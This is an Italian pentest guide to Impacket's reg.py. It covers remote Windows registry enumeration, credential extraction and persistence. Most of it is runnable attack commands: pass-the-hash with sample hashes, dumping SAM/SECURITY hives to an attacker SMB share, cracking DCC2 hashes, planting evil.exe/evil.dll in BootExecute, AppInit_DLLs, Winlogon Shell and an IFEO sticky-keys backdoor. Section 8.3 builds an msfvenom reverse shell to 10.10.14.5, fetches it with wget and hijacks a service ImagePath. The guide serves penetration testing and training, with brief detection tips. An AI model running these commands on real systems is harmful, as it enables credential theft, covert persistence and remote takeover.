reg.py Impacket: Guida Completa al Registro di Sistema Remoto per Pentest 2026 #

Il registro di Windows non è solo configurazione: è una miniera di credenziali, backdoor e informazioni di persistenza. reg.py, script della suite Impacket, permette di leggere e scrivere il registro di una macchina Windows da remoto, senza bisogno di RDP o shell interattiva — sfruttando l’interfaccia MS-RRP (Remote Registry Protocol) sopra SMB.

Questa guida è organizzata in blocchi logici: prima le basi del tool e del registro, poi credenziali, poi persistenza, poi privilege escalation, poi forensics/DFIR, e infine detection, hardening e cheat sheet finale.

1. Le hive del registro: HKLM, HKCU, HKU, HKCR, HKCC #

Prima di usare qualsiasi tool sul registro, bisogna sapere cosa sono le hive di primo livello. Sono radici logiche diverse, ognuna con uno scopo preciso, e capire la differenza cambia dove vai a cercare credenziali o configurazioni deboli.

Punto chiave da tenere a mente: HKCU è solo uno specchio della sottochiave di HKU relativa al SID dell’utente corrente. Quando ti connetti da remoto con reg.py usando le credenziali di un utente, stai vedendo l’HKCU di quell’utente, non necessariamente quello loggato interattivamente sulla console. Se vuoi leggere il profilo di un altro utente che non è quello con cui hai autenticato, devi passare per HKU\<SID-utente> invece che per HKCU.

# Elenca i SID caricati (= utenti con profilo attivo) sotto HKU
reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKU -s

Questo è fondamentale in post-exploitation: se hai compromesso una macchina dove sono loggati più utenti, HKU ti dà accesso a tutti i loro HKCU senza dover impersonare nessuno di loro.

Esempio pratico: una volta che hai il SID di un altro utente (da query -keyName HKU -s, oppure da un lookupsid/whoami /user fatto in un’altra fase), interroghi direttamente quel profilo — anche via IPv6 e pass-the-hash, come nel caso tipico di una macchina HTB:

reg.py htb.local/henry.vinson@dead:beef::b885:d62a:d679:573f -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1105' -s

Il SID S-1-5-21-...-1105 è un RID custom (>1000), quindi un utente reale del dominio, non un account di servizio built-in. Con -s ricorsivo su quella chiave ottieni l’intero HKCU di quell’utente in un colpo solo — Run keys, PuTTY sessions, RunMRU, RDP Servers, tutto quello visto nelle sezioni sopra, ma riferito a lui.

Workflow combo: lookupsid.py + reg.py -s — il pattern da usare sempre #

Questo è il flusso pratico più utile in assoluto quando hai credenziali di dominio ma non sai ancora chi altro esiste sulla macchina o quali profili sono interessanti.

1. Enumera tutti gli utenti/RID del dominio con lookupsid.py (Impacket):

lookupsid.py htb.local/henry.vinson:password@10.10.10.5

Output tipico:

[*] Domain SID is: S-1-5-21-2993095098-2100462451-206186470
498: HTB\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HTB\Administrator (SidTypeUser)
1105: HTB\henry.vinson (SidTypeUser)
1106: HTB\altro.utente (SidTypeUser)

Ti dà il SID completo di ogni utente del dominio, senza dover indovinare nulla.

2. Prendi il SID intero (dominio + RID) e interroga direttamente HKU con -s:

reg.py htb.local/henry.vinson@10.10.10.5 -hashes :HASH query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1106' -s

Il punto chiave: non devi sapere in anticipo dove si trova qualcosa di interessante dentro il profilo di quell’utente. -s scarica ricorsivamente tutto — Run keys, credenziali applicative, PuTTY, RDP servers, tutto — e tu leggi l’output cercando pattern noti (password, pwd, nomi di app custom). È il motivo per cui questa combo è il primo passo da fare appena hai un elenco di SID: prima enumeri chi esiste, poi tiri giù tutto quello che hanno in HKU senza doverti preoccupare di indovinare la chiave giusta.

Nota: HKU mostra solo i profili caricati (utenti che hanno fatto login almeno una volta e la cui hive è ancora montata). Se un utente esiste nel dominio ma non è mai stato loggato su quella macchina specifica, il suo SID non compare sotto HKU — per quel caso serve reg load sul suo NTUSER.DAT offline, vista in dettaglio sotto.

Leggere HKCU di un utente NON loggato — reg load #

HKU ti dà accesso solo ai profili attualmente caricati (utenti loggati ora). Se un altro utente esiste sulla macchina ma non è loggato, il suo profilo non compare sotto HKU — ma il file NTUSER.DAT esiste comunque su disco. Con privilegi sufficienti (admin locale, o SeRestorePrivilege) puoi montarlo tu stesso in una chiave temporanea e leggerlo come se fosse online.

reg load HKU\temp_utente C:\Users\vittima\NTUSER.DAT

Da quel momento HKU\temp_utente è navigabile esattamente come un HKCU normale — stesse Run key, stesse PuTTY sessions, stesso RunMRU, stessi RDP Servers visti sopra, ma per un utente che non ha mai aperto sessione mentre eri connesso tu.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKU\temp_utente\Software\Microsoft\Windows\CurrentVersion\Run" -s

Quando hai finito, scarica sempre la hive: se resta montata, al prossimo login di quell’utente Windows non trova il profilo libero e gli assegna un profilo temporaneo (l’utente se ne accorge subito, e in un pentest è un errore da evitare).

reg unload HKU\temp_utente

Se reg unload fallisce con “accesso negato”, di solito è perché un processo ha ancora un handle aperto sulla hive (es. Explorer o PowerShell con quella chiave come working directory). Chiudi ogni sessione che la sta referenziando e riprova.

Stessa tecnica funziona per leggere il profilo Default (il template usato per ogni nuovo utente creato sulla macchina — utile per capire quali impostazioni/autorun vengono ereditate da account futuri):

reg load HKU\default_profile C:\Users\Default\NTUSER.DAT

Dove vivono fisicamente le hive sul disco #

Le hive non esistono solo in memoria: sono backuppate su disco come file. Conoscerlo serve per l’estrazione offline (es. da un’immagine forense o da un backup):

C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SOFTWARE
C:\Users\<utente>\NTUSER.DAT          <- corrisponde a HKCU di quell'utente
C:\Users\<utente>\AppData\Local\Microsoft\Windows\UsrClass.dat  <- HKCU\Software\Classes, contiene le ShellBags

2. Come funziona reg.py #

reg.py si connette al target via SMB (porta 445) e parla con il servizio Remote Registry attraverso l’interfaccia RPC [MS-RRP] — lo stesso protocollo che usa reg.exe su Windows, ma pilotato da remoto con credenziali valide (password, hash NTLM o ticket Kerberos).

Se il servizio Remote Registry è disabilitato, Impacket lo avvia automaticamente per l’operazione e lo ripristina allo stato originale al termine. Questo comportamento è importante da conoscere sia in attacco (poco rumoroso, ma genera comunque eventi) sia in difesa (il servizio non deve mai apparire “avviato di recente” senza motivo).

Requisiti per usarlo #

• Accesso SMB alla porta 445 del target
• Credenziali valide: utente locale amministratore, utente di dominio con privilegi, oppure hash NTLM per pass-the-hash
• Per leggere hive protette come SAM/SECURITY: privilegio SeBackupPrivilege o appartenenza al gruppo Backup Operators, oltre ai permessi di amministratore locale

Sintassi base e autenticazione #

reg.py [dominio/]utente[:password]@target <azione> [opzioni]

Autenticazione con password:

reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKLM\\SOFTWARE

Autenticazione con hash NTLM (pass-the-hash), utile quando non hai la password in chiaro ma solo l’hash estratto ad esempio con secretsdump:

reg.py -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c CORP/admin@10.10.10.5 query -keyName HKLM\\SYSTEM

Autenticazione Kerberos (pass-the-ticket), quando lavori con un ticket già ottenuto (es. da Rubeus):

reg.py -k -no-pass CORP/admin@dc01.corp.local query -keyName HKLM\\SAM

3. Le 5 azioni di reg.py #

reg.py espone cinque sottocomandi. Ognuno corrisponde a una fase diversa di un penetration test o di un CTF: prima leggi (query), poi eventualmente scrivi per dimostrare un impatto (add), pulisci (delete), o estrai dati per l’analisi offline (save/backup).

query — leggere chiavi e valori #

query elenca le sottochiavi e i valori di una chiave specifica. È l’azione che usi il 90% delle volte: enumerazione, recon, ricerca credenziali.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -s

Il flag -s (subkeys) rende la query ricorsiva — molto utile per enumerare intere gerarchie in un colpo solo, come tutte le chiavi di autorun sotto CurrentVersion, invece di interrogarle una per una.

In un CTF/pentest puoi usare query per:

Se query restituisce ERROR_FILE_NOT_FOUND, quasi sempre è un problema di path (hive sbagliata, backslash raddoppiato dalla shell, o redirezione WOW64 — vedi sezione 4), non un vero errore di permessi.

add — scrivere o modificare un valore #

add crea un nuovo valore o sovrascrive uno esistente. Va sempre specificato il tipo con -vt (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ, REG_MULTI_SZ) e il dato con -vd.

In un CTF/pentest puoi usare add per:

Ogni add fatto durante un test è una modifica reale sul sistema: va sempre documentata e ripristinata a fine attività (vedi checklist finale).

delete — rimuovere chiavi o valori #

delete toglie un valore o un’intera sottochiave. Serve sia in attacco (pulizia tracce) sia in difesa (bonifica di un host compromesso).

In un CTF/pentest puoi usare delete per:

delete senza -v cancella l’intera chiave indicata con tutto ciò che contiene — attenzione a non essere troppo generici sul path.

save — esportare una singola hive/chiave in un file #

save scrive su disco del target una copia di una chiave (tipicamente un’intera hive) in formato .save, poi recuperabile tramite una share SMB che apri tu dalla macchina attaccante.

In un CTF/pentest puoi usare save per:

Prima di lanciare save verso una share remota devi avere un listener SMB attivo lato attaccante — tipicamente smbserver.py di Impacket (smbserver.py share /tmp/loot -smb2support).

backup — dump rapido di SAM, SYSTEM e SECURITY #

backup è un comando speciale, scorciatoia per il caso d’uso più comune: estrarre in una sola chiamata le tre hive necessarie per un dump completo delle credenziali locali e dei segreti LSA.

reg.py CORP/admin:Password123@10.10.10.5 backup -o '\\10.10.14.5\share'

Equivale a lanciare tre save separati (SAM, SYSTEM, SECURITY), ma con un solo comando e un solo giro di autenticazione — meno rumore rispetto a tre connessioni distinte. Dopo il backup, il passo successivo è sempre secretsdump.py in modalità LOCAL sui file scaricati (vedi sezione 6.4).

4. WOW64 — la redirezione del registro che confonde tutti #

Su un Windows a 64 bit, un processo 32 bit non vede lo stesso registro di un processo 64 bit. Questo comportamento si chiama Registry Redirector, ed è la causa numero uno di query che “non trovano niente” durante un pentest — un errore comune anche tra pentester esperti.

Come funziona la redirezione #

Quando un processo a 32 bit prova a leggere/scrivere sotto HKLM\SOFTWARE, Windows lo intercetta silenziosamente e lo reindirizza a:

HKLM\SOFTWARE\Wow6432Node

Il processo 32 bit non se ne accorge: crede di stare leggendo HKLM\SOFTWARE normale, ma fisicamente i dati vivono nella sottochiave Wow6432Node. Un processo 64 bit invece vede il vero HKLM\SOFTWARE, senza redirezione.

Perché conta in un pentest #

Se stai enumerando una macchina e usi un tool a 32 bit (uno script Python compilato a 32 bit, un binario legacy), e cerchi una chiave software che sai essere presente, potresti non trovarla — semplicemente perché stai guardando nella vista sbagliata. Viceversa, se un malware o un payload gira a 32 bit su un host 64 bit, la sua persistenza tramite Run key finisce sotto Wow6432Node, non nel percorso “normale”: un dettaglio da controllare sempre quando si enumerano le chiavi di autorun.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"

Chiavi condivise (non redirette) #

Non tutto viene reindirizzato. Alcune chiavi sono condivise: esiste una sola copia fisica, vista identicamente da entrambe le architetture. HKLM\SYSTEM (dove vivono SAM, servizi, configurazioni di sicurezza) è tra queste — motivo per cui reg.py, che parla direttamente col protocollo MS-RRP, non ha il problema di redirezione quando lavora su quelle chiavi.

Accesso esplicito a una vista specifica #

Da PowerShell o codice, si può forzare la vista desiderata con i flag KEY_WOW64_64KEY e KEY_WOW64_32KEY, ignorando la redirezione automatica. Da riga di comando, reg.exe nativo supporta lo stesso concetto:

:: Forza la lettura della vista a 64 bit anche da un reg.exe a 32 bit
reg query "HKLM\SOFTWARE\Esempio" /reg:64

:: Forza la vista a 32 bit
reg query "HKLM\SOFTWARE\Esempio" /reg:32

Registry Reflection (solo sistemi legacy) #

Su Windows XP/Vista/Server 2003/2008 esisteva anche la Registry Reflection: un meccanismo che sincronizzava automaticamente un sottoinsieme di chiavi tra vista 32 e 64 bit, per compatibilità tra componenti COM. È stata rimossa da Windows 7 in poi — se stai lavorando su un sistema moderno non la incontrerai, ma è bene sapere che esisteva se ti capita di leggere documentazione o writeup datati.

5. Enumerazione generale del sistema via registro #

Oltre alle chiavi di sicurezza, il registro racconta tutta l’identità della macchina target. Query utili in fase di recon, prima ancora di pensare a privesc o dump credenziali:

# Versione OS e build
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"

# Nome macchina
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName"

# Fuso orario (utile per correlare timestamp nei log)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"

# Interfacce di rete configurate
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" -s

# Reti a cui la macchina si è connessa (utile per capire il contesto: VPN aziendale, wifi pubbliche, ecc.)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList" -s

# Dispositivi USB storici collegati (utile in forensics e in verifica data-exfil)
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR" -s

6. Credenziali nel registro #

Questa è la sezione più critica per un pentest: tutte le fonti di credenziali — dirette o cifrate — che vivono nel registro. Tre blocchi: credenziali live in memoria/config (6.1-6.3), credenziali offline nelle hive (6.4-6.6), credenziali applicative di terze parti (6.7).

Credenziali live — configurazione e memoria del sistema #

6.1 Autologon in chiaro (Winlogon) #

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Se AutoAdminLogon è impostato a 1, la password si trova spesso in DefaultPassword in testo semplice. Il set completo di valori da controllare:

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

6.2 WDigest — credenziali in chiaro in memoria #

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

Se UseLogonCredential è a 1, Windows mantiene le password in chiaro in memoria LSASS, rendendole estraibili con Mimikatz dopo compromissione. Verificarlo da remoto con reg.py ti dice, prima ancora di avere una shell, se questo target è un bersaglio ad alto valore per il dump di credenziali in chiaro.

6.3 LSA Protection (RunAsPPL) e Credential Guard #

Prima di pianificare un dump LSASS, conviene sapere se il target è protetto.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL

Se questo valore è 1 (o 2 su Windows 11 22H2+ senza UEFI lock), lsass.exe gira come Protected Process Light (PPL): nessun processo non protetto — nemmeno un amministratore con SeDebugPrivilege — può aprirne la memoria per leggere credenziali. È probabilmente la singola misura più efficace contro Mimikatz sekurlsa::logonpasswords.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa"

Se il valore manca o è 0, il target è vulnerabile al classico dump LSASS.

Un livello ancora superiore è Credential Guard, basato su virtualizzazione:

HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags

Quando attivo, Credential Guard isola i segreti derivati da NTLM/Kerberos in un container basato su virtualizzazione (VBS), separato dal kernel Windows — un processo LsaIso.exe gestisce l’accesso, e nemmeno un kernel exploit riesce a raggiungere direttamente le credenziali. LsaCfgFlags a 1 o 2 indica Credential Guard abilitato.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags"

Se attivo, il dump diretto degli hash utente da LSASS è efficacemente bloccato — verifica sempre questo valore prima di puntare tutto su Mimikatz.

Credenziali offline — dump delle hive #

6.4 LSA Secrets — cosa contiene davvero HKLM\SECURITY #

HKLM\SECURITY non è una singola credenziale: è un contenitore di secrets multipli, ognuno cifrato con la chiave derivata dalla boot key di SYSTEM. Il percorso interno dove vivono è:

HKLM\SECURITY\Policy\Secrets

Query e dump:

reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKLM\SECURITY' -o '\\10.10.14.5\share\SECURITY.save'

secretsdump.py -security ./loot/SECURITY.save -system ./loot/SYSTEM.save LOCAL

Output tipico:

[*] Dumping LSA Secrets
_SC_MSSQLSERVER:CORP\svc_sql:P@ssw0rd2024!
DPAPI_SYSTEM:01000000...
NL$KM:0a1b2c3d...

Il valore _SC_MSSQLSERVER in chiaro è tipicamente il colpo più grosso in un pentest: un account di servizio con password in chiaro, spesso con privilegi elevati nel dominio perché i service account raramente ruotano la password.

6.5 HiveNightmare/SeriousSAM (CVE-2021-36934) — dump SAM senza privilegi admin #

Su Windows 10/11 con una ACL configurata male, le hive SAM, SYSTEM e SECURITY risultano leggibili anche da un utente non amministratore, tramite le Volume Shadow Copies. Nessun reg.py, nessun accesso di rete: funziona da shell locale a basso privilegio.

1. Verifica se il target è vulnerabile:

icacls C:\Windows\System32\config\SAM

Se compare BUILTIN\Users:(I)(RX) (o Everyone), la hive è leggibile da qualsiasi utente autenticato — è l’indicatore della vulnerabilità.

2. Crea una Volume Shadow Copy (richiede solo il permesso di creare shadow copy, non admin completo):

vssadmin create shadow /for=C:

Prendi nota del nome restituito, tipo \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1.

3. Copia le hive dalla shadow copy:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM.hive
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM.hive
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY.hive

4. Esfiltra i file verso la tua macchina (share SMB, HTTP, o exec diretto se hai già un canale) e cracka offline:

secretsdump.py -sam SAM.hive -system SYSTEM.hive -security SECURITY.hive LOCAL

Tool automatico (LOLBin-first prima, poi tool esterni): PowerShell puro con vssadmin/copy come sopra è sufficiente e nativo. Se serve automatizzare, HiveNightmare.exe/ShadowCopy.ps1 fanno gli stessi passi in un colpo solo, ma non aggiungono nulla che non stia già facendo vssadmin.

Detection: monitora eventi vssadmin create shadow non correlati a backup legittimi (Sysmon Event ID 1, command line matching); l’accesso in lettura a \HarddiskVolumeShadowCopy*\Windows\System32\config\SAM da un processo non di sistema è un IOC forte. Patch: KB di luglio 2021 in poi corregge l’ACL di default.

6.6 Cached Domain Credentials (DCC/DCC2) #

Quando un laptop aziendale si disconnette dalla rete, Windows deve comunque permettere il login con l’account di dominio. Per farlo, salva localmente una versione hashata delle credenziali: sono le Domain Cached Credentials, note come mscash (v1) o mscash2/DCC2 (Vista in poi).

HKLM\SECURITY\Cache

con voci NL$1, NL$2, … NL$10 di default — una per ogni utente di dominio loggato di recente. La chiave NL$KM (vista sopra) serve a decifrarle.

Punto fondamentale: DCC2 non è un hash NTLM. Non puoi usarlo per pass-the-hash — serve solo a verificare offline una password digitata al login, l’unico modo per sfruttarlo è craccarlo.

secretsdump.py -security ./loot/SECURITY.save -system ./loot/SYSTEM.save LOCAL

[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/jsmith:$DCC2$10240#jsmith#e4e4e18ac7d15990f64ebe1be1989d9f

Cracking (modalità 2100 = DCC2/MS-Cache2):

hashcat -m 2100 dcc2_hashes.txt rockyou.txt

Il numero 10240 è l’iteration count del PBKDF2 interno — rende il cracking più lento di un NTLM puro. Il numero massimo di credenziali cachate è controllato da:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount

Credenziali applicative — software di terze parti #

6.7 Credenziali applicative aggiuntive #

Oltre a SAM/SYSTEM/SECURITY, altre fonti minori ma reali:

keymgr.dll (Credential Manager stub) — le credenziali di rete salvate dal Credential Manager sono cifrate con DPAPI, non leggibili in chiaro via reg query. Vanno estratte con Mimikatz dpapi::cred dopo aver ottenuto la master key dell’utente.

PuTTY — sessioni salvate:

HKCU\Software\SimonTatham\PuTTY\Sessions

Hostname salvati e, in configurazioni scadenti, riferimenti a chiavi private o proxy.

VNC — password nel registro:

HKLM\SOFTWARE\RealVNC\WinVNC4
HKCU\Software\ORL\WinVNC3\Default

Molti server VNC storici salvano la password debolmente offuscata (spesso reversibile) direttamente qui.

7. Persistenza via registro #

7.1 Run, RunOnce e servizi #

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SYSTEM\CurrentControlSet\Services\<nomeservizio>

Le chiavi Run sono il primo posto in cui un attaccante (o un malware) piazza l’esecuzione automatica.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -s

La chiave Services mostra ogni servizio installato, il suo ImagePath (potenzialmente dirottabile con unquoted service path) e l’account con cui gira.

7.2 StartupApproved — lo stato reale delle voci di autorun #

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder

Un valore in Run senza corrispondente approvazione qui può indicare una voce disabilitata manualmente dall’utente tramite Task Manager — utile per capire se una entry trovata in Run è effettivamente attiva. I byte 02/03 all’inizio del valore binario indicano abilitato/disabilitato.

7.3 Autoruns avanzati — oltre Run e RunOnce #

Windows ha diversi altri Autostart Extension Point (ASEP), meno conosciuti ma altrettanto sfruttati:

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute"

Persistenza a boot (privilegi altissimi, prima del desktop):

reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" -v BootExecute -vt REG_MULTI_SZ -vd "autocheck autochk *\0C:\Windows\Temp\evil.exe"

Devi preservare autocheck autochk * come primo elemento (è il controllo disco nativo di boot) e aggiungere il tuo binario come voce successiva nello stesso REG_MULTI_SZ, separata da un carattere nullo — altrimenti rompi l’avvio del disco.

AppInit_DLLs (DLL injection in ogni processo con user32.dll):

reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v AppInit_DLLs -vt REG_SZ -vd "C:\Windows\Temp\evil.dll"
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v LoadAppInit_DLLs -vt REG_DWORD -vd 1

Senza LoadAppInit_DLLs a 1, la DLL non viene caricata anche se AppInit_DLLs è popolato — funziona solo se Secure Boot è disattivato (deprecato da Windows 8 in poi con Secure Boot attivo).

Winlogon Shell (rimpiazza l’intera shell utente):

reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -v Shell -vt REG_SZ -vd "explorer.exe,C:\Windows\Temp\evil.exe"

Il valore separato da virgola dopo explorer.exe parte insieme alla shell a ogni logon di ogni utente — persistenza ad ampio raggio se scritta su HKLM.

7.4 Active Setup — persistenza legata al profilo utente #

HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\<GUID>

Meccanismo pensato per eseguire codice al primo login di un nuovo utente (tipico in ambienti con profili roaming/Terminal Server). Il valore StubPath contiene il comando. Se alzi il version number registrato qui rispetto a quanto tracciato sotto HKCU\...\Active Setup\Installed Components, il comando riparte per ogni utente al login successivo, anche per utenti già esistenti.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" -s

7.5 IFEO — Image File Execution Options #

MITRE ATT&CK: T1546.012. IFEO permette di agganciare un debugger a un eseguibile specifico: ogni volta che quell’eseguibile parte, il debugger viene lanciato con esso. Meccanismo legittimo ma tra i più abusati per persistenza perché non tocca il file originale.

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<nomeprocesso.exe>

Tecnica 1 — Debugger hijack:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\Windows\System32\calc.exe"

In laboratorio, ogni apertura di notepad.exe lancerebbe calc.exe al suo posto — in scenario reale un attaccante sostituirebbe una utility di accessibilità richiamabile dalla schermata di login (utilman.exe, sethc.exe), ottenendo esecuzione SYSTEM prima del login (“sticky keys backdoor”).

reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -v Debugger -vt REG_SZ -vd "C:\Windows\System32\cmd.exe"

Tecnica 2 — SilentProcessExit: monitora la chiusura “silenziosa” di un processo e lancia un binario di risposta.

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<processo.exe>\GlobalFlag
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<processo.exe>

:: 1. Abilita il monitoraggio (GlobalFlag = 0x200)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

:: 2. Configura cosa succede alla chiusura
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\calc.exe"

Il payload parte con processo padre WerFault.exe, meno sospetto a un’analisi superficiale del process tree.

Detection IFEO: monitora scritture su Image File Execution Options\*\Debugger e SilentProcessExit\*\MonitorProcess via Sysmon Event ID 13; qualsiasi Debugger che punta a cmd.exe/powershell.exe è sospetto; verifica periodicamente le chiavi IFEO su utilman.exe, sethc.exe, osk.exe, Magnify.exe.

7.6 MountedDevices — mappa di tutti i volumi visti dalla macchina #

HKLM\SYSTEM\MountedDevices

A differenza di MountPoints2 (per-utente, vista in forensics), questa chiave è a livello macchina e mappa ogni lettera di unità e volume GUID mai montato — inclusi dischi cifrati, chiavette USB, volumi di rete.

8. Registry ACL e privilege escalation #

8.1 Come funzionano i permessi del registro #

Ogni chiave di registro ha un Security Descriptor — la struttura che definisce proprietario e permessi dell’oggetto. Contiene due liste distinte:

• DACL (Discretionary Access Control List): definisce chi può accedere all’oggetto e come — i permessi veri e propri
• SACL (System Access Control List): definisce cosa viene loggato/auditato — serve per i log di sicurezza, non per l’accesso

La DACL è composta da regole chiamate ACE (Access Control Entry): “a questo SID è concesso/negato questo accesso”. Windows valuta le ACE in ordine, e le negazioni esplicite vengono processate prima delle concessioni.

Punto critico: una DACL vuota nega tutto l’accesso, ma una chiave senza DACL (NULL DACL) concede accesso completo a chiunque — configurazione pericolosa, spesso frutto di errore.

8.2 Leggere e scrivere permessi #

Con PowerShell (LOLBins-first, nessun tool esterno):

Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio" | Format-List

Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NomeServizio
Owner  : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         NT AUTHORITY\Authenticated Users Allow  FullControl   <- questa è la ACE pericolosa

Se vedi Authenticated Users o Everyone con FullControl/Write su una chiave servizio che gira come SYSTEM, hai trovato una escalation.

Set-Acl per modificare (in lab, per dimostrare l’impatto):

$acl = Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule("NT AUTHORITY\Authenticated Users","FullControl","Allow")
$acl.SetAccessRule($rule)
Set-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio" -AclObject $acl

Dal Registry Editor: tasto destro sulla chiave → Autorizzazioni → stessa DACL in forma grafica.

8.3 Weak Registry Permissions — sfruttamento pratico #

MITRE ATT&CK: T1574.011 (Hijack Execution Flow: Services Registry Permissions Weakness). Se un utente a bassi privilegi ha diritti di scrittura su una chiave Services che gira come SYSTEM, può dirottare l’esecuzione del servizio modificando ImagePath.

Enumerare chiavi vulnerabili:

Con AccessChk di Sysinternals:

accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\services

Con PowerShell puro:

Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\<nomeservizio> | fl

Con PowerUp.ps1 (automatizza su tutto l’albero):

Import-Module .\PowerUp.ps1
Get-ModifiableRegistryAutoRun

Da remoto, prima di avere una shell:

reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto"

Sfruttamento:

:: 1. Prepara un binario (in lab: reverse shell)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=8888 -f exe -o shell.exe

:: 2. Trasferiscilo sul target
powershell wget http://10.10.14.5/shell.exe -o C:\Users\Public\shell.exe

:: 3. Sovrascrivi ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f

:: 4. Riavvia il servizio
net start NomeServizioSospetto

Da remoto via reg.py direttamente:

reg.py CORP/utente:Password1@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto" -v ImagePath -vt REG_EXPAND_SZ -vd "C:\Users\Public\shell.exe"

Funziona solo se hai anche il permesso di avviare/riavviare il servizio, o se si riavvia automaticamente (crash loop, reboot).

